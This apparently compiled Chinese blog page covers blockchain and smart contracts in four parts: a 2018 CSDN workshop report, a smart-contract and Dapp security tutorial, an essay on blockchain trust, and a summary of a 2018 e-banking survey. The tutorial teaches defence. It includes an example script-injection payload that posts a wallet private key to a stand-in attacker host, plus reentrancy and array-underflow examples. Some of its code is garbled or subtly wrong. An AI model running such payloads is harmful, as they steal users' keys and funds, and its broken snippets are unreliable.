吃饺子不如撸代码!今年冬至 workshop 干货都在这了

2018年的冬至,除了传统的吃饺子,作为开发者,我们还有什么特别的活动呢?

当然有啦!12月22日,中国专业IT社区CSDN在中关村创业大街为广大开发者带来了一场精彩绝伦的区块链实战开发Workshop,本次活动作为CSDN Blockchain Workshop第一期,以“零基础实战智能合约开发”为主题,邀请北京大学软件与微电子学院讲师孙惠平、bCamp区块链技术合伙人加速营发起人王亮、NULS发起人&技术研究院与技术社区负责人张星共同就智能合约的发展与挑战、区块链开发者的思考、智能合约实战开发等话题为大家带来精彩分享。

同时张星还为大家实战演练了如何在底层公链上开发一个自己的智能合约,并指导现场观众进行学习和操作,孙惠平老师与王亮老师全程为大家耐心指导,答疑解惑。

所谓冬至白昼最短,而一下午的时间对于所有人来说尤其珍贵!活动不到下午1点就有大批学员纷纷提前到场,给北方寒冷的冬季增添了分外的暖意,由于本系列Workshop有一定技术门槛,前期招募过程中会经过初步筛选,但也拦不住热爱技术、热爱学习的小伙伴报名前来,不大的场地很快就被挤得满满当当。

通过一下午的学习,在场学员基本掌握了智能合约的环境搭建、部署、开发等流程与要点。活动结束后,我们抽取了5位幸运学员赢得了额外的小福利,还为每位完成作品的小伙伴颁发了带签名与学时的结业证书,让大家一步一个脚印,激励你一路前行!

下面,一起来回顾本期活动都有哪些精彩内容吧?

王亮:区块链开发者,多学科交叉能力典范

 

作为今天分享的第一位嘉宾,bCamp区块链技术合伙人加速营发起人王亮,从正在被区块链改变的项目分析入手,分析一个有价值的区块链项目的相关特质,得出任何一个要具备长期价值的项目的几个必要特质:一,项目必须是建立在发现痛点的基础上,并且这个痛点要与区块链的特性有较强关联,即应用区块链能够从某种程度上成为解决问题的关键环节;二,区块链的应用,应该对原有业务场景做降低成本或增加价值的改变,而且这个改变应该是较大的,而不是微小的;三,项目的应用要适合当前生产、生活场景,应该有着数量较多、角色多样的潜在人群,而不能是虚构的、假设的,不能是极少量人群或极简单角色。

另外,王亮表示,区块链还处于发展的幼年期,如何从小众技术极客或是开发者的自嗨,稍广些的币圈人士的击鼓传花,发展到真正创造价值、改造世界,脱虚务实、找到合理的应用落地是其必经之路。

在此次演讲中,作为十二年信息技术及信息安全咨询培训老兵的王亮,更多地站在开发者的角度,为广大想了解区块链技术、想转型区块链开发的观众(或小白)给出了客观的分析与建议。情怀真挚,建议中肯。

孙惠平:智能合约的发展与挑战

第二位分析的嘉宾是北京大学软件与微电子学院信息安全系讲师孙惠平老师,孙老师研究方向为区块链、智能风控、信息安全,并于2018年2月开始在北京大学为研究生开设“区块链”课程,他也是早批在高校进行区块链技术授课的老师。此次Workshop也是非常荣幸地能请到孙惠平老师来为大家做精彩的分享和技术指导。

孙老师首先为大家介绍了智能合约的概念、结构、发展等基本内容,并通过形象的比喻让大家更好地理解吸收。其次,孙老师讲解了智能合约与区块链的关系,从参与方认证、合约协商、状态设定、编码合约、合约发布、合约上链、合约执行、合约更新等角度进行了详细分析。

关于智能合约有哪些优点,孙老师从安全、确定、监管、经济、效率、标准6个角度进行了详解。他提到,传统合约需要大量文书、严重依赖第三方来执行,而且执行不力的话需要仲裁机构与司法机构介入,效率和安全性都相对低下。而智能合约则完全颠覆了传统的合约运作形式,它实现了完全数字化,且可以自动执行、代码定于规则。

孙老师介绍道,智能合约通常需要以下执行步骤:首先由交易各方确定合约条款,再通过编码将合约编写成代码,并将合约代码存储在区块链上,最后合约条款满足时智能合约自动执行。

最后,孙老师还分享了智能合约在自动保险、国际贸易、供应链管理的应用案例,并分析了其面临的操作风险、技术风险、安全、监管四个方面的挑战。

重头戏:一起撸码,实践开发

张星,如何用Java开发智能合约

最后一位分享及实战指导嘉宾是NULS发起人&技术研究院与技术社区负责人张星,他通过2个小时的讲解+指导开发,现场带大家从零开始,了解并掌握智能合约环境搭建、部署、开发等重要环节,还与大家分享了智能合约的开发陷阱与技巧。

首先,张星跟大家讲解了智能合约的基本知识,让大家在实际开发之前做好知识的铺垫,他详细介绍了智能合约的意义,开发所需完备的测试环境及文档以及智能合约的结构。

关于智能合约的创建流程,张星解释道,要创建智能合约,需要经过编写智能合约,编译成字节码,部署到区块链等过程,调用智能合约则是发起一笔指向智能合约地址的交易,智能合约代码分布式地运行在网络中每个节点的虚拟机中。开发者可以通过任何节点向区块链部署、调用智能合约,更常见的做法是自己部署一个节点。

其次,张星还为现场学员介绍了SDK的关键字、禁用关键字、类、注解等知识点,并分析了智能合约常见误区与风险。他提到,类型溢出是很严重的问题和容易犯的错误,并提醒大家在开发过程中一定要对“溢出”产生敬畏,同时,可控随机数也是较容易产生错误之处。

关于重入攻击,张星介绍了以太坊上循环调用的经典案例,在给智能合约转账的时候会触发智能合约的fallback函数,若收款的智能合约在fallback函数中再次调用对方的withdraw函数的话,那将会产生一个循环调用。另外,还有不可控状态(同一个区块调用相同合约的两个交易顺序不可预测)、遍历、递归等问题。

在讲解基础知识之后,张星来到台下,跟学员互动交流起来,并指导现场开发有疑问的同学。在经过数小时的实操之后,大约30位学员完成了自己的智能合约开发,让三位讲师,特别是张星老师格外欣喜和满足,总算无愧于近日熬夜加班为大家准备了!

原谅小编匮乏的语言无法形容活动的精彩!

接下来,简单粗暴些,让我们看看第一期workshop的精彩花絮吧!

大咖对话,现场讨论

严阵以待,实战开发

聚精会神,干货满满

 小哥哥coding的背影很帅

难得一枚程序媛

大咖手把手指导证书签名中……

证书签名中……

发表下获奖感言呗……

证书,我也有!

大家辛苦啦!耶! 

简述智能合约及Dapp安全

智能合约和dapp的开发属于新的范式,开发的方式与以前会有所不同。 “敏捷开发”的格言在这个新范式中好像不起任何作用了,这类项目的开发会有一定的风险,这要求我们采用缓慢而有条理的方法来开发我们的应用程序,在设计和编码时尽量谨慎和考虑周全。 开发时也不能让自己承受过多的压力,比如制定严格的期限等。

如果把大多数传统的apps类比于社区诊所,那么区块链可以说是急诊室。有些很小的问题,一旦上链的话,就会变的很难解决,你必须考虑到所有可能的负面结果,如果没有这么做,你可能会面临非常可怕的后果。所以在我开始具体的内容之前,我必须要重申一下区块链开发方面的特点,这些迫使我们开发时要非常小心。

所有代码都是公开的

以下几个原因导致了一些的问题。

首先,区块链的代码是开源的,任何人都可以看到你写的代码,所以很明显,智能合约中不应记录敏感的个人信息。不然,你就可以进行用户的链上行为分析,但这对于小白用户来说可能听起来不太好,因为他的历史行为暴露在了全世界面前。

这就导致智能合约及其相关存储功能只能存储合同正常运行所必需的信息。

其次,最最重要的是,所有源代码都公开可见,这意味着在地下工作的明星黑客有充足的时间和自由,来梳理你的每一行代码,寻找其中的漏洞,代码将无处可藏。

Gas 限制

我相信大多数人都知道,以太坊的是有Gas费的,Gas费些许的昂贵,并且还有一定的限制!如果智能合约中的逻辑可以导致大量Gas消耗,则会出现严重的问题。循环调用是这种情况的常见原因。

最后也是最重要的一点是:

不可篡改特性

智能合约代码都是完全根据最初的逻辑执行,并禁止The DAO级别的硬分叉。对区块链来说,合约一旦部署,一切都将不可篡改。

不可篡改的有点是让我们可以高枕无忧的相信智能合约。我们首次将信任编程到代码中。陌生人之间可以信任代码,而不是彼此建立信任。我们慢慢的开始相信智能合约,它不会骗人,也不会在任何时候做出格的事情。

对我来说,我会以非常开放的心态拥抱全球的区块链霸主。并且作为工程师,我也会努力去实现这个信任社会。

但是这个信任社会有些致命问题,设想一下,如果我们家的技术文盲奶奶不小心把她的google搜索痔疮膏的信息发布到了Facebook上,这不会是大问题,可以删掉。但如果她在某个有漏洞的智能合约上暴露了自己的私钥,那我们就无能为力了,她精通技术的侄子也没有任何办法,区块链浏览器中历史记录将无法删除!

在写代码的时候,我们必须假设每个用户都是技术文盲,并百分百地确保函数的正确调用,执行能够操作无误,你永远都不会知道,有多少人盯着你钱包地址上的数百万美金。

接下来我将介绍一些准备好的漏洞示例,并且进行一些练习,让每个人都参与进来。以便我们在今后在写代码时能够避免Dapp和智能合约的漏洞。

实际案例推荐

我们来看第一个案例,让我们从一些背景开始。

这是一个去中心化的游戏平台

  • 它的应用程序都是基于浏览器的
  • 游戏开发者可以公开发布他们的游戏(在以太坊网络上运行的dapps)
  • 玩家可以注册dapp并从选择各种游戏(用ETH购买虚拟商品)。
  • 注册时会帮你创建新的钱包(这个案例不需要Mist 或Metamask)
  • 钱包密钥存储在玩家的浏览器中,用于验证和支付。

是的,这似乎是开发人员通过平台进行发布,并有效连接玩家的好地方。

不幸的是,有一款叫HODL QUEST的游戏在发布后,用户下载它时,他们钱包中的以太币数量就开始减少。

玩家的以太币去哪了呢?让我们先来看一下平台的一些情况:

l这个问题是几小时前发布的新游戏HODL QUEST引起的

l首次打开游戏后,钱包的资金几秒钟就消失了

l在游戏注册期间,开发人员在平台内的表单中输入dapp的名称,智能合约地址和URL

l该平台将游戏iframe嵌入到dapp中,同时在页面顶部显示游戏名称

你可以开始看看它的发展方向……经过进一步的检查,我们发现HODL QUEST游戏的开发者在注册过程中为游戏标题注入了一个内联脚本。所以仔细观察游戏html代码,我们发现了这样的事情:

<h1>HODL <script>$.post(‘https://haxxx.lol/’, localStore.getItem(‘privateKey’));</script> QUEST</h1>

The player’s browser ends up evaluating the javascript snippet inserted at the game title and sending the player’s private keys to attacker remote servers.

用户的浏览器插入了游戏标题的javascript片段,并将用户的私钥发到给攻击者远程服务器上。

这只是我们写Dapp时可能出现的众多问题之一,以下我列举的,在构建项目时要记住的事项清单:

  • 保护钱包和私钥:如果用户的钱包受到损害,那就game over了,所以处理这些敏感信息时需要特别小心。
  • 保护用户信息:用户不希望他们的个人数据暴露在世界各地,开发时要确保用户数据不被泄露。
  • 明智地评估需要存储在区块链或服务器中的内容,只能包含智能合约运行所必需的数据
  • 使用HTTPS:这是标准做法,应该是显而易见的
  • .gitignore敏感文件:保护自己免于意外泄露漏洞的另一种方法
  • 不要在代码中插入访问/ API密钥
  • 在dapp中执行关键/风险操作时要进行双重认证:在区块链上采取的操作是不可变的,因此链下的安全验证非常重要

DAPP的安全性与智能合约的安全性一样重要,希望广大开发者始终牢记在心。

智能合约竞争条件

什么是竞争条件?竞争条件是电子设备,软件或其他系统中的输出取决于其他不可控事件的顺序或时间一种行为。当事件没有按程序员的意图发生时,它就变成了一个bug。这是以太坊智能合约中许多漏洞的根源

一个关于race condition 愚蠢的例子

在以太坊智能合约中出现竞争条件的方式有几种。在这篇文章中,我们将关注两种常见情况。重入和交易顺序依赖。

重入

如果计算机程序可以在执行过程中被中断,则可以在其先前的调用完成执行之前安全地再次调用(“重新输入”),这被称为可重入计算机程序。在对其他合同进行外部调用时,这可能会显示在智能合约中,因为它们可能会在原始调用完成之前回调到原始函数。你可能会问,这怎么可能?

输入fallback 函数,这些函数是在将Ether发送到合约时调用的功能,而不提供要调用的函数名称。

在这个例子中,当withdraw函数使用address.call.value()方法发送ether时,它会触发BankRobber的fal’lback函数,然后可以再次调用withdraw方法。正如您所看到的,这将导致智能合同一次又一次地发送以太可能会耗尽所有以太币!

我们怎么能防止这种情况?有几种不同的方式。第一个依赖于我们对发送,转移和呼叫之间差异的理解。

从上图中可以看出,有许多不同的方式可以发送以太币,但大多数情况下,都推荐使用address.transfer。这是因为如果交易耗尽所有的2300 gas,就会回滚这样,如果恶意合同试图重新签订合同,gas将用完,整个交易将被还原。

在某些情况下,使用发送或回调是有意义的,但在使用这些时需要格外小心,因为只有在发送以太币感到非常满意时,才会出现这种情况。99%的时候,转移是正确的路径。

防止重入的另一种方法是在进行外部调用之前更新状态并在合同中执行检查,以确保状态代表即将执行的事务。

打包头部交易(交易顺序依赖)

另一种情况是竞争条件依赖,让恶意的交易被优先打包,这是区块链的开源性质决定的。如果在智能合约中运行竞价或类似机制,黑客可能会通过操纵gas价格,矿工打包交易时会在交易池中选择价格高的进行打包。在这段时间内,其他恶意行为者可以监控并发送恶意交易,来破坏已经发送的出价交易。矿工则会对区块中的交易价格进行重新排序,这就造成恶意交易被优先打包。

有几种不同的方法可以防止像这样的操纵。一个是把交易批量打包,另一个方法是披露投标人发送其出价的哈希值,在确认之前识别是不是恶意交易。

让我们来看看另一个例子

这个智能合约是一个游戏,用户可以将以太币送到只能合约中成为新的国王。当一个新人成为国王时,老国王就会收到只能合约中的以太币。你能找到这个漏洞吗?

这是Ethernaut的一个很好的例子,它开展了探索智能合约安全的练习。您可以在此处查看有关此漏洞的更详细说明。

这些示例表明,在进行外部调用时,绝不应该假设您调用的智能合约是可信的。始终注意防止攻击者可能尝试的所有可能的负面结果。

fallback函数

fallback函数很有用,因为它们包含在将Ether发送到您的合同时调用的代码。但他们无法处理一切。

首先,当从fallback函数触发时,回退功能只能访问2,300 gas,因此逻辑需要非常简单,以免发生gas错误。

// example of a fallback function when
// you don’t want Ether to be sent to a contract
function () payable {
revert()
}

有一个问题!当以太币被强制发送到合约时,后备功能不会触发

contract ForceSend() {

function ForceSend() {

// sends ETH to victim without triggering the fallback function
function destroy() {
selfdestruct(victim);
}
}

函数将智能合约的以太币发送到受害者地址。此发送不会触发合同中的回退功能。接收免费以太是很好的,但正因为如此,你需要避免直接检查合同的余额并期望它是一个特定值,因为它实际上可能比你想象的更大!

整数运算

与大多数现代架构不同,EVM不处理浮点数或算术运算。所有数字存储和算术都用整数处理。这是什么意思?这意味着您的合同中没有任何意义,您可以将任何内容存储为小数或执行通常会返回小数的操作,例如查找百分比等。让我们看一个例子。

想象一下,您正在创建一个代币销售智能合约,根据销售过去的时间为买家提供奖励购买。它可能看起来像这样。

/// snippet from contract code
function calculatePrice() returns (uint256) {
uint percentTimePassed = (now – startTime)/(endTime – startTime);

uint price = (1-percentTimePassed)*basePrice + basePrice;

return price;

}

正如您所看到的,用传统语言,通过的时间百分比将计算为0到1之间的小数,然后返回价格。

不幸的是,这不适用于整数运算。如果操作操作不正确,可能某些不正确的百分比会导致严重问题的情况。

在Solidity中,你必须做这样的事情:

/// snippet from contract code
function calculatePrice() returns (uint256) {
uint percentTimePassed = 100*(now – startTime)/(endTime – startTime);

uint price = ((1-percentTimePassed)*basePrice)/100 + basePrice;

return price;

}

百分比计算为0到100之间的整数,应用于基本价格,然后除以100以将“小数位”固定到正确的点。这是计算百分比的一种粗略方式,因为它牺牲了一些精度,但是根据EVM的运行方式是必要的。您可以通过乘以100的较大倍数来获得更好的精度,但这是一个取决于合同背景的决定。

整数溢出/下溢

根据维基百科,当算术运算尝试创建一个数值超出可以用给定位数表示的范围 – 大于最大值或低于最小可表示值时,就会发生整数溢出。大多数语言都有解决此问题的方法,但Solidity无法自行处理溢出检查。这导致过去在区块链上出现一些智能合约的问题,但有很多方法可以解决这个问题。以下是使用Solidity添加的示例:

function add(uint a, uint b) {
res = a + b
if (res-b == a) && (res>b || res==b)  {
// the operation was safe
} else {
// overflow
}
}

这通过确保结果没有包围变量所保持的最大值来检查加法运算的溢出。减法,乘法和除法需要类似的检查。

漏洞 3

你能找到智能合约中的错误吗?

uint[] public bonusCodes;

function pushBonusCode(uint code) onlyOwner {
bonusCodes.push(code);
}
function popBonusCode() onlyOwner {
require(bonusCodes.length >= 0);
bonusCodes.length–;
}
function modifyBonusCode(uint index, uint update) onlyOwner {
require(index < bonusCodes.length);
bonusCodes[index] = update;
}

此契约具有一个存储数组,其长度字段可以递减到0.这会导致算术下溢,从而有效地禁用Solidity的数组边界检查。因此,在溢出写入数组之后可以用来覆盖位于数组之后的任何存储元素 – 包括所有映射!

在开发的时候,我们并不能确定,有哪些没有考虑到的微小的点,单这些可能是导致归零的重大问题,在文中举的案例中,就导致用户平均损失了数百万美元。

我们所能做的最好的事情就是遵循所有现有的应用程序和智能合约范式,并且要要进行广泛测试,以及要让专业的安全人员帮我们审核代码。

未来,让我们一起共建智能合约的功能和安全性!

智能合约并不智能,但我们还是误解了区块链信任

爱迪生的第一项发明是“自动计票器”。1868年10月13日,爱迪生注册登记这项专利,但政客无情地拒绝了这项有效的技术,因为它抹去了政治勾兑的机会。误会技术性质就找不到市场,爱迪生牢牢地记住了这一点。如果区块链技术追随者不想重复这个教训,他们就不能把区块链误会为智能信任技术。

区块链解决的不是智能信任,而是“不信任”问题。它自动执行完成交易过程中必要的不信任,让信息没有疑问。但无法编程的情感相信活动超出它的能力范围,需要新组织形式辅助。

从创造区块链开始,中本聪和他的精神传人做的都是“去信任”技术,即人与人之间的信任不可靠,不信任人的言行是第一假设,区块链用算法解决不信任问题,去信任的技术保障“信息无疑”。但是,契约活动中的可信度不仅有“不信任”的成分,还有“相信”的成分。二者不是简单的此消彼长的替代关系。区块链擅长解决前者,却不擅长后者。

正确理解区块链“去信任”本质的第一步是理解“相信”和“不信任”是两个有联系,但又有显著差别的人的社会心理活动和认知决策活动。在认清相信和不信任之间的关系后,我们才能有效地运用区块链去提升组织可信度。可信度由去除“不信任”因素(信息无疑)和提高“相信”条件这两个方面组成。

区块链智能合约可以有效解决可编程的“信息无疑”问题。但相关的组织任务必须是能够明确界定、量化和数字化的;过程和结果属性明晰;无需频繁变动和调整的合约承诺;没有必须考虑的未来不确定性。

另一方面,区块链智能合约不适合处理下列组织任务:过程和结果始终在动态变化中,例如营销;任务的性质随参与者意愿变化而调整,例如客服;情感因素有重大影响力,例如终极关怀;冲突和妥协是主旋律,例如跨公司产品创新。所以,区块链适合解决婚前财产登记的契约问题,但不适合处理恋爱过程。

简言之,区块链技术可以应用到解决不信任问题,并达到信息无疑的效果。但是,它很难应用到“相信”上,因为相信更多的是主观心理状态和个人选择。“相信”指的是“无论是否有监控方法,一方都愿意向对方示弱,因为示弱方认为对方总会善待自己”(R.Mayer)。用意义心理学家福兰科(ViktorFrankl)的理论来解释,相信是第二性的、派生的,甚至无法直接通过具体行为而实现,只能间接在升华的层次去个人体会。

用日常语言分析的方法,我们可以看到相信的关联词包括“真切、靠谱、实诚、明确、有信用、让人放心、能够依赖”等。不信任的关联词有“虚假、可疑、容易错、有问题、模糊不清、令人费解”等。“相信”更多与人的内在心理活动有关,是受个人情感影响的主观感受。

“不信任”往往是基于一些事实线索而做出的理性推测。不信任有两方面的因素:引发因素,包括环境和任务陌生,有不确定性,过程复杂,要求超出常人基本能力,盲目信任后果严重;保障因素,环境和任务性质要求合规、警觉。猜疑和监控是理解认知活动的必要部分,是建立共识的必要沟通活动。

当上述两种因素都被包括和控制之后,不信任可以消除,信息可以保障无疑。在这个基础之上,人际关系的情感交往可能派生出信任。但是,当不信任消除时,它不是产生信任的充要条件。如学者卢米纽(FabriceLumineau)的研究显示,相信和不信任是两个相关但不相同的变量。它们之间不是正反两个方向的连续体,不是一方减弱,另一方就加强。关于二者的差异,可以用能否量化编程来识别。

区块链支持的“智能合约”技术擅长于消除不信任,因为引发和保障因素可以通过编程解决。因为能够更有效保障“信息无疑”,它已经开始广泛运用到一系列文件记录、储存、交换、背书、认证活动中。它包括多方签名交易、公共土地和产权交易、私人文件记录、法律证明等。就像去中心化的金融交易过程一样,区块链也能做到合约的去中心化,自动撮合,自治实施。未来,只要能数字化的信息都可以加区块链,只要能加链,信息产权就可以明晰,就可以设定保护条件,就能自动发起和强制实施交易合约。

例如,洪都拉斯政府用它建立一套新的房地产契约登记和交易制度。在那个动荡的国家,不受外力造假影响的区块链给当地人带来“信息无疑”。又如,无需第三方,房东可以对租客远程授权或取消授权。自动驾驶汽车租赁者的信誉、身份和消费支付可以实时确认,实现分布式自我管理。在奢侈品和艺术品市场,钻石行业尝试将每颗钻石独特的物理属性编程为代码,让实体资本与虚拟资本完全对应。区块链被用于钻石认证、辨伪和交易。

不过,保障“信息无疑”只是构建组织可信度的一个方面。“相信”是另一个方面。它涉及到人际互动中的情感和情绪,是个动态过程因素。目前,“相信”无法编程,同时因为经济活动中的不完全合约现象,合约双方总有事先和事后的冲突、谈判和妥协。涉及的人际关系协调过程超越智能合约可以执行的范围。当合约双方愿意相信,妥协谈判能产生各种结果。如果无法获得信任,依据“信息无疑”,双方则主要诉诸法律仲裁和判决。算法不讲情感,但现实中的不完全合约需要讲情感和尊重情绪的“相信”。组织的“可信度”(Trustworthiness)综合包含“相信”与“无疑”两个维度。

组织可信度包含有能力实现信息无疑,有意愿善待对方,有言行一致的正直感。能力、善愿、正直来自于消除不信任和滋养相信两个方面。在处理不完全合约时,对于可以编程的活动和任务,消除不信任(无疑)的区块链有应用效果。对于不可编程,需要事先事中事后谈判妥协的活动和任务,围绕情感和情绪管理的“相信”更加有效。以体育项目为例,在执行动态关联性极高的任务时(羽毛球双打、篮球、足球),能力指标和责任分辨(信息无疑)只能达到一定程度,剩余部分则属于“相信”的范围。队友之间可信度越高,球队竞技表现越好。同理,在德鲁克(PeterDrucker)设想的知识经济中,大脑中的认知活动比流水线上的物理动作更重要。对任务执行过程的绝对量化监控几乎不可能。我们如何了解你是在想工作,还是在开小差?

相信有脆弱性,容易被机会主义者利用。不信任有正面效果,警醒是高可靠性组织的必要能力。结合二者,区块链组织才能提升组织可信度,正确认识区块链技术的局限性并不是否认它强大的应用效果,而是让新技术有针对性地发挥作用。“让恺撒的归恺撒!”用区块链技术解决不信任问题后,我们便可以把丰富的情感资源投入到相信的活动中去。

2018中国电子银行调查报告:区块链逐渐取代中心化结构

由中国金融认证中心(CFCA)联合近百家成员银行举办的第十四届中国电子银行年度盛典于12月13日在京举行,作为峰会重要环节,《2018中国电子银行调查报告》同期发布。

从2005年至今,该调查已经连续举办十四年,CFCA每年发布的“中国电子银行调查报告”系列报告,已成为目前国内针对电子银行最权威的调查报告之一。本年度参与调查的成员行更是增加到87家。

报告分为三大部分:

一是2018年电子银行用户使用行为及态度研究;

二是2018年电子银行综合评测及用户体验研究;

三是2018互联网金融行业热点研究。

《2018中国电子银行调查报告》

值得注意的是,在“互联网金融行业热点研究”部分中,今年首次增加了区块链研究篇

整个部分共分四个章节,其中用一整个章节的篇幅,对区块链技术发展现状、政策规范、技术应用领域的研究进行梳理,并对区块链在国内外各家银行的应用案例进行收集,根据区块链技术在现有的银行体系下的应用实例为未来的发展趋势做出预测。 

Bianews梳理总结了报告内容中与区块链相关的部分,提取有效信息,以供大家参考。

区块链银行业务解决方案 

报告首先对区块链技术发展背景进行了详细的介绍,从区块链产生背景及发展路径、核心技术及特征到区块链产业图谱、国家对区块链的政策导向等。

报告中谈到,币圈和链圈,实质上是两条界限比较明确的产业,彼此之间有交集,但也有区别。考虑到本研究主要围绕着银行业务的应用来开展,因此产业链的研究主要围绕“链圈”。

目前以公有链为技术基础的应用包含比特币、以太币、超级账本、智能合约等。在我国银行业务应用方面,为了解决效率、安全、信任等痛点问题,公有链引入带来了极大的帮助。

例如: 公有链的去中心化分布式账本技术,正在被招商银行用于跨境直联清算,解决原有跨境支付清算系统费用昂贵、效率低下的痛点。 

私有链中各个节点的写入权限收归内部控制,而读取权限可视需求有选择性地对外开放。私有链虽强调中心化,但自身仍然具备区块链多节点运行的通用结构。

在实际应用过程中,相比中心化数据库,私有链能够防止机构内单节点故意隐瞒或篡改数据,其主要的应用场景是那些对效率、隐私保障和监管控制有着极高要求的场景,因此,目前大型金融企业对数据和信息保护要求极高的内部业务流程(如特定机构的内部数据管理与审计)多倾向应用私有链技术。

联盟链充分融合公有链和私有链的优势和特性,并在实际应用中展示出自身的优点:如成本更加节省,其交易只需被几个受信的高算力节点验证就可以,而无需全网确认;节点间的沟通更通畅,联盟链的故障可人为干预修复,同时允许共识算法减少区块时间;运用更灵活,联盟内的组织可经过协议,修改该区块链的规则。

目前联盟链所面对的用户群主要是银行、证券、保险、协会、大型集团公司,其中银行比重最高。现有的金融产品和服务均依赖平台开展,衍生出的业务场景与公有链的完全去中心化无法适应和匹配。对此,联盟链的多中心化、数据信息相对公开以及高效率低成本的属性,能更好地迎合银行业务,促使应用真正的落地创收。目前多数学者认为联盟链将是银行业务应用最广泛的区块链类型。 

目前,国内大多数银行和互联网银行已开始使用联盟链解决业务痛点: 

微众银行:基于联盟链的机构间对账平台,该平台为国内首个在金融生产环境中运行的区块链应用,目前已接入3家合作行,平台实现链上对账和总账、分类账的展示,防止交易流水遗漏混乱。

中国银行:打造“基于区块链技术的客户信息管理(KYC)”的实施方案,该方案完成银行内部的客户信息区块链,以及跨行客户信息区块链的构建,以解决目前银行业在客户信息上存在的“不准确”、“不一致” 、“不共享”三大痛点。

而具体到银行业务中的区块链解决方案,报告细分为六种:智能合约、供应链金融、数字存证、资产托管、跨境支付、数字货币。

报告还对这六种解决方案逐一进行了分析。

1. 智能合约:解决传统合约的不稳定性与效率问题 

传统纸质合约只是具备法律约束效力的文件,对于合约承诺的兑现过程没有直接的保障。 违约受害方若仅通过法律手段进行维权,将需要投入大量成本,且维权效率低下。

直到上世纪90年代,电子合约的诞生在效率上相较于纸质合约带来了质的提升,但仍存在以下问题:

首先,中心化形式合约由一方组织制定,该组织对合约内容有绝对解释权,在履行期间,合约的唯一制定者也存在对文件进行篡改的可能性;

其次,传统智能合约仅支持进行定期支付或约定还款等基础的银行业务,无法支撑复杂的业务流程。

而区块链去中心化、不可篡改的特性,为智能合约提供了平台,将合约记录在分布式网络上, 能够有效解决传统纸质、电子合约的痛点。

区块链解决方案产生,使合约文档处理更加高效,同时提升交易的准确性,减轻人为因素带来的错误,合约的内容和条件无法人为进行修改, 创建、录入的容错率更低。

2. 供应链金融:解决交易过程中信息的透明化与真实性程度低的问题 

由于严格风控要求与信息透明度低,银行更愿意为核心企业以及一级供应商提供保理业务,或为下游一级经销商提供预付款或者存货融资。

这就导致大量的二级、三级等供应商/经销商的融资需求得不到满足,限制了此类企业和相关产业发展;从银行角度看, 信息不透明的问题和规避风险的要求同样限制了其供应链金融的业务的健康、快速发展。

另一方面,信息系统中心化结构也限制了银行供应链金融业务。

在目前的供应链金融业务中,银行或其他资金端不仅仅担心企业的还款能力和还款意愿,还关注交易信息本身的真实性,而交易信息是由核心企业的ERP系统所记录的。

ERP系统由于其中心化结构,银行在维护、录入修改时,无法单方面地保证信息完全准确,需要投入额外的风控、审计成本对交易信息的真伪进行验证。

区块链技术的介入将提高供应链透明度,区块链将分类账上的货物转移登记为交易,以确定与生产链相关的各参与方以及产品产地、日期、价格、质量和其他相关信息,并保存完整数据,由于区块链的不可篡改的特性,可使不同参与者使用一致的数据来源,保证了供应链信息的可追溯性与透明性,实现供应链金融件相关信息的透明化。

3. 数字存证:解决电子存证难以保证文档数据真实性问题

普通电子存证需将证据上传到第三方存证机构,其文档的上传、验证、保存、提取、出证这 一系列过程均由同一个机构完成,这个第三方存证机构在本质上仍然属于中心化机构,这也就表明在这个机构内可以进行文档的修改,因而无法保证证据的真实性。

而区块链所具备的开放性、自治性、信息不可篡改等特性对于存证而言,可以搭建具有不可篡改、高度透明、时序不可逆的的存证平台,达到保证文件、数据不能篡改、录入时间明确、方便核查、随时提取等目的,这也是区块链技术应用于数字存证领域的主要原因。

去中心化存证平台更能保证数据真实可靠:区块链电子存证平台去除了传统存证平台虚拟性、 脆弱性、隐蔽性、易篡改性的先天不足,以一种去中心化的数据库的形式提供开放式、分布式、不可篡改的电子数据存储平台,跳过了电子存证凭条需要联合权威认证机构背书的过程,直接实现多方存证。

4. 资产托管:解决资产托管交易成本高,审计和风控难度大的问题

资产托管业务的交易流程通常需要经过多部门或机构。交易指令也经常需要跨越多个机构和部门。需要跨部门、跨机构的多方多次互相确认才能达成交易共识,其交易的成本较高。

同时,交易的投资标的可能涉及多个投资产品,投资产品也可能经过层层包装,但是由于金融市场交易时间窗口期很短,由人工对每笔交易的投资组合范围、底层资产、交易量比、资 产评级等多个方面进行实时判断需要大量的成本,同时也很难做到及时审计,有效控制投资风险。

资产托管系统的成功上线标志着区块链技术第一次在银行业务成功实践,可以帮助银行解决其他技术不能解决的特定业务场景中的问题,在拓展业务,优化流程,提高效率的同时能够保护数据安全和商业秘密,实现资产托管安全性提升。

实时审计,满足监管的要求,为今后在金融领域广泛的推广区块链机制打下了坚实的基础。

5. 跨境支付:解决传统SWIFT 网络的跨境支付周期较长 

现有的跨境支付普遍采用的 SWIFT 网络,然而一笔以现有技术为基础的跨境支付交易,通常需至少 24 小时才能完成,并且存在需要支付高额的手续费、操作流程繁琐、结算周期长、占用资金大等缺点。而区块链技术具备的去中心化、分布式记账、共识等特点颠覆以 SWIFT 结算系统 为中心的传统跨境支付模式。应用区块链技术的新的跨境支付方式,具有更快、更便宜的特性,在提高跨境支付的效率的同时,节省银行业务资源。

由于链网络中所有参与节点共同维护验证信息,保证了信息的一致性区块。因此,在区块链支付中无需复杂的信息同步和对账,这将大大的提高跨境支付的效率。

而不同银行之间可以基于区块链实现跨境支付,这样在不同货币之间进行汇兑支付时,可以免除中间关联银行的参与,直接进行实时支付;在基于区块链的支付平台中,每家银行只需一个储备金账户,本来要存储在中间交易方的备用资本金就节省下来了,能分配给自身银行业务的资源就增多了。因此,基于区块链技术的跨境支付可以大大节省银行业务资源。

6. 数字货币:解决安全、流动问题

由于目前全球在结算和支付方面依旧是通过美国的SWIFT结算系统,目前唯一可以取代现有美元交易系统并且独立运行的结算技术是数字货币,它基于加密、去中心化、分布式记账的技 术,颠覆了传统SWIFT原有的结算逻辑。国家对数字货币的研究有利于我国在全球金融领域的发展,提高我国在金融红利分配中的地位。

同时,数字货币所具备的“可留痕性”和“可追踪性”能够提升经济交易活动的便利度和 透明度,可大幅度减少洗钱、逃漏税等违法行为。此外,相较于纸币在市面上的流通,数字货币的唯一性排除了假钞出现的可能性,也大大降低了流通成本,更方便交易。

标杆银行区块链应用案例

报告显示,据今年国内外各大银行的年报信息,多家银行已经试水区块链,并在扶贫、信贷、清算、供应链金融等领域实现商用。

短期内,区块链技术及配套解决方案,正在赋能银行现有业务体系, 并提升其运营效率;从长期看,区块链将对银行业的信用与认证体系带来更加颠覆性的变革。

包括中农工建在内的传统国有银行,已经将区块链技术运用于脱贫基金管理、跨境与跨行、 信用证、供应链金融等领域。截止至2018年7月,国有银行的整体布局展开如下:

